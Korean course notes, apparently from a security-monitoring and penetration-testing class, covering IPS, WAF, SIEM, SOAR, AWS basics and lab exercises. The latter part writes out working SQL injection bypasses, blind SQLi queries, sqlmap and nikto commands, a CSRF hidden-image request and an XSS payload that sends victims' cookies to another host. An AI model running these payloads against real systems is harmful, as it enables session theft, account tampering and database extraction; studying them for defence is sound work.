  • IDS의 기능에 차단기능을 추가하여 실시간 위협 차단
  • DoS, DDoS 탐지 및 차단 가능(대규모 트래픽→전문 DDoS 장비 필요)
  • 자동으로 탐지와 차단이 가능해짐

IPS의 문제점

  • 웹 어플리케이션을 목표로 하는 공격(Injection, XSS…)을 탐지 및 차단하지 못함
  • 내부자 위협에 대한 방어 수단X
  • 클라우드 환경에서의 물리적 장비의 한계(2010년대)

WAF(Web Application F/W)의 등장

  • 어플리케이션 계층의 공격을 방어하는데 특화
  • SSL/TLS 트래픽을 복호화 하여 공격 차단

DLP(Data Loss Prevention)의 등장 

  • 데이터 유출을 방지하기 위하여 네트워크, 엔드포인트 모니터링
  • 비인가 행위를 차단하여 내부자 위협 방어

APT(Advanced Persistent Threat)장비 등장

  • 랜섬웨어, 크립토재킹 등 다양한 공격 방식과 지속적 공격을 방어하기위해 샌드박스 형식의 보안장비 개발

UTM장비 등장

  • 다양한 보안 장비를 하나의 장비로 통합(F/W, IDS/IPS, DLP, APT…)


샌드박스

  • 안전한 환경에서 프로그램이나 파일을 실행하여 악성 코드나 보안 위협을 분석하고 차단하는 기능을 가진 장비
  • 격리된 공간에서 실행되기 때문에, 실제 시스템에 영향을 미치지 않고 위험을 평가할 수 있습니다. 주로 악성코드 탐지, 네트워크 보안, 애플리케이션 테스트 등에서 사용되며, 사이버 공격에 대한 방어 수단으로 효과적입니다.

 

 

ESM(Enterprise Security Management)

  • 보안장비를 통합하여 중앙 집중 관리
  • F/W, IDS/IPS, VPN…
  • 보안 정책 수립, 시행에 맞는 보안, 관리적 목적
  • 보안관리체계에 집중한 방식

1. SIEM (보안 정보 및 사건 관리)

  • 조직의 보안 상태를 모니터링하고 관리하기 위한 솔루션입니다.
  • SIEM 시스템은 다양한 소스에서 로그와 이벤트 데이터를 수집하고, 이를 분석하여 보안 위협을 탐지하고 대응하는 데 도움을 줍니다.
  • 보안장비 및 모든 자원에서 발생한 로그 통합(빅데이터기반)
  • 관리되는 자원의 모든 로그를 통합하여 상관 분석
  • 실시간 위협 탐지와 연관성 분석이 가능
  • 시나리오를 통한 위협 분석이 가능

SOAR(보안 오케스트레이션, 자동화 및 대응)

  • 보안 팀이 보안 사건을 보다 효율적으로 관리하고 대응할 수 있도록 돕는 플랫폼입니다. SOAR의 주요 기능은 다음과 같습니다:
  • 사이버 위협에 대한 업무의 자동화
  • Playbook을 통한 보안 위협 유형에 따른 업무 자동화
  • AI 기반 지능형 보안관제 시스템
  • 빅데이터 기반의 SIEM과 연계 및 위협 인텔리전스 연동
  • 보안 전문 인력 부족 문제 해결
  • 오케스트레이션: 다양한 보안 도구와 시스템을 통합하여 서로 간의 작업을 조정하고 자동화합니다.
  • 자동화: 반복적인 보안 작업을 자동화하여 인적 오류를 줄이고, 보안 팀의 효율성을 높입니다.
  • 사건 대응: 보안 사건 발생 시 신속하게 대응할 수 있는 프로세스를 제공하여 사건 처리 시간을 단축합니다.
  • 협업 기능: 보안 팀 내에서 원활한 커뮤니케이션과 협업을 지원하여 사건 해결을 가속화합니다.
  • 보고 및 분석: 사건 대응 과정과 결과를 기록하고 분석하여 지속적인 개선을 도모합니다.

SOAR 플랫폼은 보안 운영을 최적화하고, 위협 탐지 및 대응 능력을 강화하는 데 중요한 역할을 합니다.

 

보안관제 유형

1. 원격관제

2. 파견과제

3. 하이브리드 관제

4. 클라우드 관제

 

 

  • DNS 포트번호 53
  • 400 클라이언트 오류 (Bad Request): 클라이언트의 요청이 잘못되어 서버가 이해할 수 없음을 나타냅니다.
  • 500 서버 오류 (Internal Server Error): 서버가 요청을 처리하는 중에 내부 오류가 발생하여 요청을 완료할 수 없음을 나타냅니다.
  • 300 여러 선택지 (Multiple Choices): 요청한 리소스에 대해 여러 가지 선택지가 존재함을 나타냅니다.
  • 301 영구 이동 (Moved Permanently): 요청한 리소스가 영구적으로 다른 URL로 이동했음을 나타냅니다. 클라이언트는 새로운 URL을 사용해야 합니다.
  • 302 임시 이동 (Found): 요청한 리소스가 임시적으로 다른 URL로 이동했음을 나타냅니다. 클라이언트는 원래 URL을 계속 사용해야 합니다.
  • 304 수정되지 않음 (Not Modified): 클라이언트가 요청한 리소스가 수정되지 않았음을 나타내며, 클라이언트는 캐시된 버전을 사용할 수 있습니다.

Snort

오픈 소스 네트워크 침입 탐지 시스템(NIDS) 및 침입 방지 시스템(NIPS)으로, 

네트워크 트래픽을 실시간으로 모니터링하고 분석하여 잠재적인 공격이나 악성 활동을 탐지하는 데 사용됩니다.

 

  • 패킷 캡처: 네트워크를 통해 흐르는 패킷을 캡처하여 분석합니다.
  • 침입 탐지: 미리 정의된 규칙에 따라 패킷을 분석하여 악성 코드나 공격 패턴을 탐지합니다.
  • 침입 방지: 탐지된 공격에 대해 자동으로 차단 조치를 취할 수 있습니다.
  • 로그 및 보고: 탐지된 이벤트에 대한 로그를 기록하고, 필요한 경우 경고를 생성합니다.
  • 유연한 규칙 설정: 사용자가 규칙을 정의하여 특정 트래픽을 필터링하거나 모니터링할 수 있습니다.

Snort는 강력하고 유연한 보안 솔루션으로, 다양한 환경에서 널리 사용되고 있습니다.

 

 

 

보안관제 실무

1. (시험)보안관제 구성요소 - 객관식 예상

  1. Process (관제 방법론)
    - 조직과 규모, 목표에 따른 절차
    - 위기대응 메뉴얼
    - 유관 부서간 역할 정의
  2. People (숙련된 인력)
    - 역할별 기능을 수행하기 위한 인력

    - 운영 방법
    - 직접운영 / 위탁운영
  3. System(모니터링 Tool/인프라)
    - 보안관제 모니터링
    - 침해사고 대응 관리 시스템
    -  다양한 분석 시스템

 

 

 

2. (시험)방화벽 NAT - (방화벽, NAT 개념 둘 다 알아야함)

 

사설 IP를 공인 IP에 필요한 주소 변환 서비스, 방화벽을 활용하여 다수의 사설 IP를 하나의 공인 IP주소로 변환하는 기술

  • 공인 IP 주소 절약 : 인터넷상의 공인 IP는 한정되어 있는데, 점점 그 수요가 많아 지고 있어서 공인 IP 주소가 고갈될 우려가 있음
  • 보안 강화 : 내부에서 사설 IP 사용을 통해 외부에서 서버나 인터넷 장비에 직접적인 접근을 하지 못하게 함

내부 -> 외부

내부 특정사설 IP가 특정공인 IP 또는 대역 으로 변경되어 나가는 형태

 

외부->내부

하나의 공인 IP에 내부서버로 1:1로 접속되는 형태

 

 

 

3.(시험) SQL Injection

  • 웹 클라이언트의 반환 메시지를 이용하여 불법 인증 및 정보를 유출하는 공격 방법으로 웹 응용 프로그램이나 파라미터 값에 강제로 SQL 질의문을 삽입하여 응답값을 통해 내부 데이터베이스 서버의 데이터를 유출 및 변조하고 관리자 인증을 우회하는 공격기법
  • 웹 서버로 전달된 SQL 질의문은 데이터베이스 정보가 일치할 경우 질의문에 해당하는 'True' 값을 반환하고 일치하지 않을 경우 'False' 값을 반환, 이때 에러메시지를 통해 2차 공격을 시도할 수 있다.

 

공격 영향

  • 인증 절차 우회 가능
  • 데이터베이스에 저장된 데이터 값을 열람/삭제/수정 가능
  • 시스템 명령어 조작으로 운영 시스템에 영향

 

Webshell 공격

  • 웹페이지인 웹(Web)과 서버에 명령을 내려 실행하기 위한 인터페이스 역할의 쉘(Shell)의 합성어로써 웹 페이지에서 서버에게 명령을 실행하기 위해 만들어진 프로그램
  • 웹 서버(PHP, ASP, JSP 등)의 다양한 취약점 등을 타깃으로 공격하여 웹 서버에 Webshell을 업로드 한 후 웹 브라우저를 통해 업로드한 Webshell을 실행하여 침투한 서버상의 정보유출 및 변조, 악성코드 유포 등 웹 공격에 활용됨
  • 대표적인 공격형태로 확장자 우회공격, 자바스크립트 우회공격, MIMI Type 우회, 그림파일을 이용한 한 줄 웹쉘 등이 있다.

공격 영향

  • 관리자 권한 탈취 및 내부망 접근하여 내부 자료 및 개인정보 유출 가능
  • 웜 / 바이러스 배포서버로 악용

대응 방안

  • 확장자 제어: 허용된 확장자 외에는 업로드 금지, 정의된 확장자 차단
  • Directory List 취약점 제거 : 서버 내 파일 / 폴더 등을 확인하여 소스코드, 웹 페이지 구조가 노출 되는 것을 사전 제거

 

 

Command/Code Injection(Execution)

  • 시스템 명령어를 호출하는 어플리케이션의 인자 값을 조작하여 의도하지 않은 시스템 명령어를 실행시키는 공격 기법
  • 주로 취약한 함수를 사용하거나 변수 입력 값 미 검증으로 인해 발생되며 과거에 발생된 Bash Shell Shock가 대표적이다.

공격 영향

  • 해당 공격이 유효성이 있을 경우, 웹 어플리케이션을 구동하고 있는 시스템 계정의 Shell 권한(관리자 권한 등) 을 획득하는 것과 같음

대응 방안

  • 지정되어 있는 변수 입력 값 외에 다른 값들이 들어왔을 경우 차단
  • 운영체제의 시스템 명령어가 사용자 입력에 의해 존재하는지 확인하고 불필요한 요청 시 차단
  • 확인되지 않은 사용자 입력을 파이프라인, open() 명령 등으로 전달하지 않음

 

XSS(Cross Site Scripting)

  • 컨텐츠를 암호화/검증하는 절차 없이 사용자가 제공하는 데이터를 어플리케이션에서 받아들이거나 웹 브라우저로 보낼 때 발생되는 공격
  • JavaScript, VBScript 등과 같이 CSS(Client Side Script) 특징을 가진 언어로 작성된 악성 스크립트를 웹 페이지/게시판/메일 등에 포함시켜 사용자에게 전달하고 이를 사용자가 열람하였을 때 악성 스크립트가 실행됨

공격 영향

  • 악성 스크립트가 삽입된 게시판에 접근한 사용자를 대상으로 웜/바이러스 배포
  • 사용자의 세션 정보를 탈취하여 재사용 가능(사용자가 관리자일 경우 관리자 계정 탈취 기능)

대응 방안

  • 쿠키 값에 인증/권한 등의 중요 정보가 기록되지 않게 하거나 쿠키 인증 방식이 아닌 세션 인증 방식으로 변경
  • 스크립트 코드에 사용되는 특수문자에 대한 적절한 필터링
  • 사용자가 게시판에 사용할 수 있는 HTML 포맷만을 허용

 

 

4. (시험) SIEM 구성 및 이해

 

Manager

  • 경보 감사 데이터 발생 시, 다양한 알람 기능을 처리(Sound, Email, SMS, 스크립트, SNMP)
  • 감사 데이터 및 설정 데이터 저장을 위한 데이터베이스 백업 및 삭제관리를 스케쥴링 처리
  • 모든 자체 감사 데이터를 생성하고, 데이터베이스에 저장

Console

  • 사용자 및 에이전트 그룹 관리, 구성관리, 수집조건, 연관성 분석, 데이터베이스 백업 및 삭제 관리 등 모든 설정 화면을 제공

Agent

  • 관리대상 장비로부터 수집한 로그를 정해진 규칙에 따라 정규화하고, 수집조건 규칙과 비교하여 매니저로의 전송 여부를 결정
  • 매니저로 전송 전에 동일 패턴으로 구분되는 이벤트는 축약 처리하여 네트워크 및 데이터베이스 등의 부하를 최소화
  • Agent 방식 - Agent설치 됌

각 장비마다 Agent(데이터 수집 및 판단) 가 있어야함

  • Agentless 방식 - Agent설치가 안되고 sys로그만 던져주는 방식

SIEM 구성 3가지 요소

Agent - Manager(Back-end) - Console(front-end)

 

 

5. (시험)외부 침입으로부터의 방안

 

공격자

  • 1단계 대량트래픽차단시스템 (DDOS) → 패킷 많이 들어오면 네트워크 과부하, 시스템한테 가는거니까 서비스가 안되는 것

서비스 자원 고갈, 서비스 거부 공격방어

  • 2단계 침입방지시스템 IPS (In-line mode (IPS), sniffing (IDS) 미러링 떠서 데이터만 탐지할 수 있게 하는것)

비정상 패킷 차단

  • 3단계 침입차단시스템 (방화벽)

비정상 세션 차단, IP,PORT 제어

  • 4단계 악성메일차단 (URL, 악성 첨부파일을 차단)

스펨메일 차단, 악성 유포지 경로, 악성 첨부파일 차단

  • 5단계 웹 안전도 검사 시스템 (홈페이지 바탕화면 바꾸는것, 기존이랑 변경된 사항이 있는지 확인하고 차단한다. )

웹 서비스 위변조 대응 (문자, 이미지 크기 변경)

  • 6단계 웹방화벽 (WAF)

웹 공격, 정보유출 차단

  • 7단계 서버보안, 감사

자원/프로세스 접근제어, 사용자 계정 및 로그감사

  • 8단계 DB암호화, 접근제어

DB 중요정보 암호화, DB 사용자 인증 및 로그감사, 명령어 제어

 

정보시스템

 

 

 

 

 

 

AWS 클라우드 기초 및 구조 / 실습

강사가 확실하게 집어주지 않음 강의한 자료 한번 다 봐야함

 

클라우드 서비스의 형태는 어떤 것인가 IaaS , PaaS, SaaS

클라우드 컴퓨팅은 무엇인가

클라우드란 무엇인가

클라우드 서비스 보안강화를 위해 루트 계정에 추가하는 기능이 무엇인가

 

 

1. 클라우드 서비스의 형태는 어떤 것인가 IaaS , PaaS, SaaS

 

IaaS, PaaS, SaaS

  • Infrastructure as a Service(IaaS) : 서버/네트워크/스토리지 등의 리소스 제공
  • Platform as a Service(PaaS) : 애플리케이션이 작동하는데 필요한 플랫폼 제공
  • Software as a Service(SaaS) : 클라우드 제공자가 전용 애플리케이션까지 제공

 

2. 클라우드 컴퓨팅은 무엇인가

 

Cloud Service 예시

  • 개발자나 벤더는 비즈니스나 업무에 필요한 Applcation을 개발
  • 개발 된 Application은 AWS 인프라 위에 배포하여 서비스를 제공함

On-Premise vs Cloud

  • On premise : 서비스에 필요한 모든 리소스를 기업안에서 관리 → 초기투자 비용 높음
  • Cloud : 컴퓨터 리소스를 빌려주는 기업과 계약을 맺고 필요한 만큼만 리소스를 대여 → 초기투자 비용 낮음

(참고)

클라우드 컴퓨팅은 인터넷을 통해 데이터 저장, 관리, 처리 등의 컴퓨팅 자원을 제공하는 기술입니다. 사용자는 물리적인 서버나 하드웨어에 의존하지 않고, 필요한 만큼의 자원을 언제든지 필요에 따라 사용할 수 있습니다. 주요 특징은 다음과 같습니다.

  1. 유연성: 필요에 따라 자원을 쉽게 확장하거나 축소할 수 있습니다.
  2. 비용 효율성: 초기 투자 비용이 적고, 사용한 만큼만 지불하는 모델이 일반적입니다.
  3. 접근성: 인터넷만 있으면 언제 어디서나 데이터와 애플리케이션에 접근할 수 있습니다.
  4. 자동화: 시스템 관리와 유지 보수가 자동화되어 있어 사용자에게 편리함을 제공합니다.

주요 서비스 모델로는 IaaS(인프라 서비스), PaaS(플랫폼 서비스), SaaS(소프트웨어 서비스)가 있습니다.

 

 

3. 클라우드 서비스 보안강화를 위해 루트 계정에 추가하는 기능이 무엇인가

 

루트 사용자 보안 강화하는 법

  • MFA : 비밀번호 외에 추가적인 인증 수행
  • 대표적인 예시로 은행에서 사용하는 OTP가 있음

 

 4. 클라우드란 무엇인가

 

클라우드와 클라우드 컴퓨팅은 밀접하게 관련되어 있지만 약간의 차이가 있습니다.

  1. 클라우드:
    • 클라우드는 인터넷을 통해 제공되는 데이터 저장소, 서버, 네트워크 등 다양한 자원을 포괄하는 개념입니다.
    • 일반적으로 클라우드는 자원과 서비스의 집합체로 이해할 수 있습니다.
  2. 클라우드 컴퓨팅:

컴퓨팅, 스토리지, 소프트웨어, 네트워크와 같은 IT 자원들을 인터넷을 통해 필요한 만큼 빌려 쓰고 사용한 만큼 비용을 지불하는 서비스 

 

 

5. 제로트러스트 아키텍처 보안에 특징

Nothing is ever 100% secure

- given enough time, resources, and motivation, an attacker can break any system

6. 실습 → s3의 기능 서비스 이름 정도 어떤건지 구별 (버츄얼머신, 스토리지 등)

카테고리 서비스 설명
컴퓨팅 EC2 리눅스/윈도우 등을 운영 할 수 있는 서버
스토리지 S3 대량의 데이터를 저장하기 위한 저장소
관리 및 거버넌스 Cloud Watch AWS로 구축한 서비스 모니터링 수행
보안,자격 증명 및 규정 Identity and Access Management(IAM) AWS의 리소스를 사용하기 위한 사용자 및 권한 설정
네트워킹 및 컨텐츠 VPC 가상 네트워크 인프라스트럭쳐 구축
청구 및 비용 Billing and Cost Management 월별 운용 및 비용관리

7. 클라우드 네이티브라면 어떤 조건을 갖춰야하는가

클라우드네이티브는 태어났을때부터 클라우드여야한다.

Cloud Native (AWS native: 당근마켓, 배달의민족 등…)

 

 

Cloud Native Design

  • 클라우드의 이점을 최대로 활용할 수 있도록 애플리케이션을 구축하고 실행하는 방식

 

Cloud Native technologies

  • 클라우드 환경에서 확장성있는 애플리케이션을 개발하고 실행할 수 있게 해준다. 컨테이너, 서비스 메쉬, 마이크로서비스, 불변 인프라, 선언형 API가 이러한 접근 방식의 예시들이다.
  • 이 기술은 회복성, 관리 편의성, 가시성을 갖춘 느슨하게 결합된 시스템을 가능하게 한다. 견고한 자동화 기능을 함께 사용하면, 엔지니어는 영향이 큰 변경을 최소한의 노력으로 자주, 예측 가능하게 수행할 수 있다.

8. 시스템 공유를 하면서 효율성을 증대시키는게 클라우드인데, 가상머신에 특성들, 어떤 걸 기반으로 만들어지고 작동되는지

가상 머신의 작동 기반

  1. 하이퍼바이저: 가상 머신을 생성하고 관리하는 소프트웨어로, 하드웨어와 VM 간의 중재 역할을 합니다. 타입 1(베어 메탈)과 타입 2(호스트 기반) 하이퍼바이저가 있습니다.
  2. 가상화 기술: VT(Intel Virtualization Technology)나 AMD-V와 같은 하드웨어 가상화 기술이 가상 머신의 성능을 향상시키고, 효율적인 자원 관리를 가능하게 합니다.
  3. 운영 체제: 각 가상 머신은 독립적인 운영 체제를 실행할 수 있으며, 이를 통해 다양한 환경에서의 애플리케이션 실행이 가능합니다.
  4. 클라우드 서비스 모델: IaaS(Infrastructure as a Service), PaaS(Platform as a Service), SaaS(Software as a Service)와 같은 다양한 클라우드 서비스 모델을 통해 가상 머신을 제공하고 관리합니다.

 

MSA(Microservice architecture)

  • independent development and deployment -> mixed technology stack
  • fault isolation : even if one service does not work, the system still works
  • granular scaling : individual components can scale as per need

MSA 문제점

  • SW복잡성에 따른 이슈
  • 시스템 보안성 이슈
    • 분산 소프트웨어의 구성 요소는 통신을 위해 별도의 API 및 포트를 사용하기 때문에 발생
    • 분산 소프트웨어 구성 요소 간 복잡한 의존성으로 인해, 개발팀 조차 전체 구조를 파악하기 어려움

 

VT(Virtualization Technology) 장점 및 단점

 

하이퍼바이저는 여러 운영 체제를 동시에 실행할 수 있도록 해주는 소프트웨어입니다. 물리적인 서버 위에 가상 머신을 생성하고 관리하는 역할을 하며, 두 가지 유형으로 나눌 수 있습니다:

  1. 타입 1 하이퍼바이저: 하드웨어 위에서 직접 실행되며, 성능이 뛰어나고 보안성이 높습니다. 예: VMware ESXi, Microsoft Hyper-V.
  2. 타입 2 하이퍼바이저: 기존 운영 체제 위에서 실행되며, 사용자 친화적입니다. 예: VMware Workstation, Oracle VirtualBox.

TYPE -2 Hypervisor

게스트 운영 체제(Guest OS)는 가상화 환경에서 하이퍼바이저 위에서 실행되는 운영 체제

 

https://brandonlog.tistory.com/category/Information%20Technology/Cyber%20security%20basic 

 

LXC (Linux Containers)

- Birth Background of LXC

OS레벨 가상화 기법을 통해 단일 컨트롤 호스트 상에서 여러 개의 고립된 리눅스 시스템들을 구동하기 위한 환경 제공

- 완전한 가상머신 제공대신, 고유한 프로세스와 네트워크 스페이스를 가진 가상 환경을 제공

- cgroups와 namespace를 결합하여 애플리케이션을 위한 고립된 구동환경 제공

Docker또한 실행 드라이버의 하나로 LXC를 사용할 수 있으며, 이를 통해 이미지 관리와 개발 서비스를 제공 가능

 

 

 

cgroups(Control Groups) : Defend against DOS Attacks

 

namespace : Provide processes with their own view of the system

 

VPC(Virtual Private Cloud)는 클라우드 서비스 제공자가 제공하는 가상 네트워크

 

NAT : private subnet의 경우 인터넷에 접근할 수있지만, 인터넷에서는 접근 할 수 없어야함 (이와 같은 서비스 제공해주는 시스템이 NAT) 

 

로드밸런서

모의해킹

주관식

 

1. request 메소드 중에 get 과 post 웹서버 로그에서 어떤식으로 되는지

get 변수 파라미터가 url 에 포함되어 있어 메인 로그에 기록됨

post 변수 파라미터가 url상에 보이지 않고 바디에 보여서 웹로그에 파라미터 부분이 보이지 않음 / 해커입장에서는 post 방식을 사용함

 

2. xss , csrf 방식이 뭐가 다른지

xss 는 클라이언트에서 실행이 된다. csrf 는 서버에서 실행이 된다.

 

3. db 쿼리값을 조작해서 시스템에 접근하는 공격을 뭐라고 부를까요

퀴리나 db 가 들어가면 SQL injection 이다.

 

4. 취약점 분석 단계 , 정보수집단계부터 시작해서 취약점분석단계 → 공격 침투단계 → 전의단계 설명한 페이지 확인

 

5. 모의해킹 공격을 할때 웹방화벽에서 탐지가 잘 안되는 공격들이 무엇인가

패턴기반은 탐지가 되지 않는다. 공격 중에 패턴으로 탐지하기 어려운 공격들이 있음 (아래참조)

  • 파일업로드 공격(파일 내용을 다 까보지 못하니까, 확장자는 볼 수있음),
  • URL 변수 공격(정상적인 공격으로 판단하지 때문에 웹 방화벽에서 탐지 하기 힘듬),
  • 제로데이공격(패턴매칭 방식의 웹 방화벽 (알려진 패턴을 가지고 차단하기떄문에) 취약점은 발견은 됐지만, 패치가 안되어 웹방화벽에서 패턴을 패치하기 전 단계이기 떄문에 막기 힘들다.

 

300x250
320x100

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

210.121.193.52 : 테스트 서버

http://192.168.1.29/ : 테스트 서버

http://210.121.193.53/gmshop/ : 테스트 하기 좋은 사이트

진단 필요한 툴

  • Set character encoding : 화면이 깨져 보일때 사용할 수 있는 크롬 확장자 → Korean EUCKR 선택
  • 드래그프리 : 사이트 복사하기 힘들때 사용하는 크롬 확장프로그램
  • powertoys : 캡처할때 캡처 안되는 그림파일 같은 것들을 캡쳐해서 붙여넣기 하면 텍스트로 붙여넣어짐
  • editcookies : 세션 값을 보는법 크롬 확장프로그램

XSS vs CSRF 주관식 (비교) 서술해야함

XSS

세션을 탈취, 악성코드 연결

Reflective XSS

  • 클릭을 유도

Stored XSS

  • 게시물을 보게 하는 것

 

세션 값을 보는법

크롬 확장앱 : editcookies

개발자모드 → 어플리케이션 → 쿠키를 통해 쿠키값을 확인 할 수 있고 수정 할 수 있다.

 

개발자모드 → 네트워크 들어가서 웹 페이지를 새로고침을 하면 시간적 요소도 볼 수 있다.

이것을 통해 어디서 지연이 생기는지 파악할 수 있다.

 

실습 4 SQLi 로 인증우회 (실습안함)

실습 4 SQLi 로 인증우회

  1. 관리자 페이지 찾기

구글검색 or Nikto or Nmap or OWASP-ZAP 등

nikto -h http://210.121.193.52 (취약점과 중요 경로) nikto -h http://210.121.193.52 -C all (관리자페이지 찾기위한 내장 플러그인 활용) nikto -h http://210.121.193.52 -fileext php,asp,html

nmap -p 80,443 210.121.193.52 nmap --script http-enum -p 80 210.121.193.52

210.121.193.52/admin/

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' "& Request("admin_id") &" ' AND admin_Pass =' "& Request("admin_pass") &" '

' or '1'='1

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' ' or '1'='1 ' AND admin_Pass =' ' or '1'='1 '

스크립트 문자열 우회방법

(1)

아래와 같이 겹쳐쓰면, script 하나가 필터링되고 나머지가 붙으면서 스크립트가 실행이 된다.

<input type="text" name="w" value=" "><script>alert(document.cookies);</script>-- " size="15">

<script scr= "http://210.121.193.53/a.js></script>

이 코드는 외부 JavaScript 파일을 불러오는 데 사용됩니다.

시나리오

    1. 브라우저에서 테스트1 / 1111 으로 로그인을 한다.
    2. 새로운 브라우저를 열어 위의 쿠키값을 개발자모드 → 응용프로그램 → 쿠키값에 붙여넣기
      • Metasploitable2
      • bee-box

실습 5 XSS

    1. 210.121.193.52

      쿠키를 attacker에게 전송한는 스크립트로 게시물 내용에 적어 넣으면 됩니다. 크기가 0인 이미지이므로 보이지는 않습니다.

      [공격 실습] <script src= "http://210.121.193.53/a.js"></script>

      <a.js> document.write("<iframe src='http://210.121.193.53/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");

CSRF 실습

210.121.193.52/login/member_modify.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>

(시나리오)

test2 가 스크립트 게시물을 읽을 경우 test1 의 정보를 불러와서 (주민번호를 제외한) 나머지 정보 수정할 때 적었던 내용들이 모두 test1 의 정보로 변경이 된다.

실습 6 CSRF

CAMEL 사이트 [정보수정] 에서

정보수정하는 URL 을 캡쳐

<img src="http://~" width=0 height=0>

으로 만들어서 게시물에 올림

게시물을 본 사람의 정보가 수정됨

이유?

update member set mem_pwd='"&mem_pwd&"', ....

where mem_id='"&session("id")&"'

현재 세션값의 id의 정보 수정하게 됨

실습 6 CSRF

POST 를 GET 방식으로 변환

210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://~ " width=0 height=0> 으로 안보이는 이미지로 변환

다음을 게시물에 입력 <img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>


내 비밀번호는 안전할까?

https://www.security.org/how-secure-is-my-password/

숫자는 101010 ……. 총 자리 수 이런식으로 계산된다.


엔터프라이즈관리자 : DB를 관리하는 도구

SQL server _ server 그룹 _ local _ 데이터베이스 _ camel _ 테이블 → 모든사용자

http://210.121.193.52/[board/index.asp](http://192.168.145.136/board/index.asp)?cmd=view&gubun=gel&info_idx=3 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc), 1,1)) =97

실습7 Blind SQLi

실습7 blind SQL 인젝션

  1. 에러 유발 - 에러가 안나는 것은 필터링 처리 때문 info_idx=6 뒤에 ' 입력 > 에러발생
  2. 문자변수인지 숫자변수인지 확인 ~ info_idx=6 ' and '1'='1 문자로 인식할 경우 (에러 발생) ~ info_idx=6 and 1=1 숫자로 인식할 경우 (에러 안남)
  3. blind SQL 인젝션의 기본 조건은 참과 거짓에 따라 다른 반응을 보이는 것 ~ info_idx=6 and 1=1 참 (에러 안남) ~ info_idx=6 and 1=2 거짓 (에러 발생)
  4. ==> blind sql 인젝션 가능성 확인
  5. 아스키코드 ~ info_idx=6 and ascii('a') between 32 and 127
  6. substring 함수 substring('abc',1,1) 의미는 'abc' 단어의 첫번째 글자, 한 개 즉 a를 뜻함 ~ info_idx=6 and ascii(substring('abc',1,1)) = 97
  7. between a and b는 안해도 되지만 좀더 쉽게 하기 위함, 또는 '=' 필터링 시 사용 ~ info_idx=6 and ascii(substring('abc',1,1)) between 32 and 127
  8. 'abc' 대신 db 테이블을 가져와야 하므로 쿼리문 (select distinct top 1 table_name from information_schema.tables order by table_name asc) distinct top 1 : 맨위의 테이블 한개만 information_schema.tables : 모든 테이블명을 관리하고 있는 테이블 order by table_name asc : table_name 작은것 부터 순서대로 정렬
  9. 순서대로 정렬된 첫번째 테이블의 첫글자 가져오기 (예: admin 테이블)

http://210.121.193.52/board/index.asp?cmd=view&page=1&b_com=yes&gubun=gel&p_from=down&info_ref=6&info_idx=6 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc),1,1)) between 32 and 127

에러 안나는 쪽으로 숫자 범위를 좁혀간다. 첫번째 테이블의 첫번째 글자 = a

  1. ascii( ~, 1,1)을 ascii( ~, 2,1) 로 바꾸어서 두번째 글자를 찾는다. 첫번째 테이블의 두번째 글자 = a
  2. 세번째~ 글자를 모두 찾는다. 테이블 명 = admin
  3. 첫번째 테이블의 첫번째 컬럼의 첫글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' order by column_name asc), 1,1)) between 97 and 126

information_schema.columns : 모든 컬럼명을 관리하고 있는 테이블

  1. 첫번째 테이블의 첫번째 컬럼명 나머지 글자 찾기
  2. 첫번째 테이블의 두번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 1 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 126
  3. 번째 테이블의 세번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 2 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 127

not in (~ top 2 ~) 부분만 변경

  1. 찾은 테이블명과 컬럼명으로 데이터 첫글자 확인 http://~&info_idx=1 and ascii(substring((select distinct top 1 컬럼명 from 테이블명), 1,1)) between 97 and 122

SQL map

쿠키를 가져와서 URL에 삽입한다.

sqlmap -u "http://192.168.1.23///board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db

실습 8 SQL map

실습8 SQL map

kali > sqlmap

  1. 취약한 부분 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI"
  2. db 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db
  3. table명 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -tables
